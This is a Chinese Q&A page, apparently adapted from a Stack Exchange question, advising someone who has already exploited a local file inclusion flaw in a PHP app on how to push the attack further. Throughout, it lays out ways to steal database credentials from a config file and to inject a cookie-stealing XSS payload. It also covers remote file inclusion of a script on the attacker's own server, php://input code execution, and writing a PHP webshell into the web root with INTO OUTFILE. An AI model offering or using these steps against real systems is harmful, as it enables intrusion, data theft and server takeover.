PHP Web应用漏洞利用与代码执行技术咨询
Web应用漏洞分析与攻击可行性解答
嘿,结合你拿到的这段PHP代码和已有的文件包含利用经历,我来逐个解答你的问题:
问题1:基于上述获取的信息,我可以实施哪些类型的攻击?
- 文件包含攻击拓展:你已经通过
page参数利用php://filter读取了目标文件,说明这个参数存在文件包含漏洞。你可以继续用这个漏洞读取更多敏感文件,比如includes/dbconfig.inc(获取数据库账号密码)、服务器配置文件甚至其他核心业务代码。 - 潜在SQL注入攻击:代码中使用了已废弃的
mysql_*系列函数,并且直接拼接变量到SQL语句中(比如DROP DATABASE " . $dbname)。如果$dbname等变量是可控的(比如配置文件读取了用户输入,或者其他功能点传入了恶意值),就能触发SQL注入,进而删除数据库、篡改数据,甚至在数据库权限足够的情况下执行操作系统命令。 - 存储型XSS攻击(潜在):如果
forum_table中的comment、poster_name字段在前端页面展示时没有做HTML转义处理,即便当前这段代码的INSERT是硬编码值,只要你能通过其他方式(比如数据库直接修改、后续用户提交功能)向这些字段插入恶意脚本,就能触发存储型XSS,窃取用户Cookie或者劫持会话。
问题2:是否可以利用暴露的变量(如$dbuser)发起攻击?
直接利用$dbuser这个变量本身在这段代码里做攻击很难——它只是被用来建立数据库连接,没有直接拼接进用户可控的输出或执行上下文。但你可以通过文件包含漏洞读取includes/dbconfig.inc文件,获取$dbuser、$dbpass、$dbhost这些数据库凭证。拿到凭证后,你可以直接登录数据库,做以下操作:
- 导出、篡改数据库中的所有数据;
- 如果数据库用户拥有
FILE权限,还可以向Web目录写入恶意PHP脚本; - 部分场景下,还能通过数据库执行系统命令(比如MySQL的
sys_exec函数,前提是开启了相关扩展)。
问题3:能否在INSERT语句中注入代码(例如<script>alert(document.cookie)</script>)?
这段代码里的INSERT语句是完全硬编码的固定值,没有任何用户输入参与,所以直接在这个INSERT里注入脚本是不可能的。但有两种间接方式可以实现类似效果:
- 如果你能通过文件包含漏洞或文件上传漏洞修改这段代码,把INSERT语句中的内容替换成恶意脚本,那么当这个文件被执行时,脚本就会被插入到数据库中;
- 如果你拿到了数据库凭证,直接登录数据库修改
forum_table的comment字段,插入恶意脚本。只要前端展示这些内容时没有做HTML转义,访问页面就会触发XSS。
问题4:如何让该Web应用执行我编辑的自定义脚本?
这里有几种可行的思路,按优先级排序:
- 利用文件包含漏洞直接执行:
- 如果服务器配置了
allow_url_include=On,可以直接构造page=http://你的服务器/恶意脚本.php,让目标服务器加载并执行你的远程脚本; - 如果只能加载本地文件,先通过文件上传漏洞(如果应用存在)把恶意脚本传到Web目录下,再用文件包含参数加载它;
- 还可以尝试
php://input协议,构造page=php://input然后POST你的PHP代码,前提是allow_url_include=On。
- 如果服务器配置了
- 通过数据库写入恶意脚本:
如果你拿到了数据库凭证,且数据库用户有FILE权限,可以执行类似SELECT '<?php 你的自定义代码 ?>' INTO OUTFILE '/var/www/html/恶意脚本.php'的语句,把脚本写入Web可访问目录,然后直接访问这个文件执行。 - 修改现有PHP文件:
如果有文件写入权限(比如通过文件上传、数据库写入等方式),修改目标应用中的现有PHP文件(比如你拿到的setupreset.php),加入你的自定义代码,当这个文件被访问时就会执行。
内容的提问来源于stack exchange,提问作者Fábio Pires
相关产品推荐
相关产品推荐

